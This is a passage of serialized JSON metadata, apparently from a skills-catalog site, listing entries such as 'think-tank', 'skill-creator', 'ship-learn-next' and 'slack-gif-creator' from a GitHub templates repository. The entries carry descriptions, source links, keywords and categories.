testing","webapp","screenshots","playwright","debugging","toolkit","browser","ui","logs","applications","behavior","local","with",{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":131,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":43},"01M6R2GYJ470X8EB7R58V0B68K","think-tank","Run a Virtual Think Tank — a structured multi-persona debate — before planning or making architectural\u002Fdesign\u002Fstrategic decisions. Use this skill whenever the user is about to plan a system, make a technology choice, evaluate trade-offs, decide on an approach, or faces any decision where multiple perspectives would sharpen the outcome. Also trigger when the user says \"think tank\", \"debate this\", \"perspectives on\", \"trade-offs\", \"should I use X or Y\", \"help me decide\", \"before we plan\", or asks for pros\u002Fcons of competing approaches. This skill should run BEFORE any implementation planning begins — it produces a structured analysis that feeds into better plans.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fthink-tank\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fthink-tank\u002FSKILL.md",[],[135,136,137,42,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,27],"think tank","think","design","feeds","analysis","persona","plan","sharpen","virtual","decision","choice","decide","perspectives","outcome","me","debate","make","trade-offs",{"skillNo":154,"name":155,"nameZh":6,"description":156,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":157,"sourceHtmlUrl":158,"categories":159,"keywords":163,"publishedAt":43},"01M6R2FSR55AVRFA9YZ8SC2GZG","skill-creator","Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fskill-creator\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fskill-creator\u002FSKILL.md",[160],{"categoryNo":161,"categoryName":162,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[164,165,166,167,168,169,170,171,172,173,174,175,176,177,126,102,178,27,179],"skill creator","creator","workflows","create","update","capabilities","knowledge","tool","integrations","specialized","guide","new skill","existing skill","users","Existing","new",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":186,"publishedAt":43},"01M6R2FK42ZZ4HJTJVVK9WJBBP","ship-learn-next","Transform learning content (like YouTube transcripts, articles, tutorials) into actionable implementation plans using the Ship-Learn-Next framework. Use when user wants to turn advice, lessons, or educational content into concrete action steps, reps, or a learning quest.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fship-learn-next\u002FSKILL.md",[],[187,188,189,190,191,192,193,194,36,195,196,197,198,199,200,201,202,203,204,27],"learn","ship learn next","ship","next","framework","learning","read","write","advice","implementation","youtube","plans","quest","transform","actionable","action","lessons","youtube transcripts",{"skillNo":206,"name":207,"nameZh":6,"description":208,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":209,"sourceHtmlUrl":210,"categories":211,"keywords":218,"publishedAt":43},"01M6R2088G1RHDA5MDX16HASRB","slack-gif-creator","Knowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like \"make me a GIF of X doing Y for Slack.\"","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fenterprise-communication\u002Fslack-gif-creator\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fenterprise-communication\u002Fslack-gif-creator\u002FSKILL.md",[212,215],{"categoryNo":213,"categoryName":214,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通",{"categoryNo":216,"categoryName":217,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000016","图像与多媒体",[219,220,221,165,222,223,224,225,170,36,149,177,151,226,227,102,228,27],"slack gif creator","slack","gif","validation","Tools","constraints","Animation","Utilities","concepts","request"]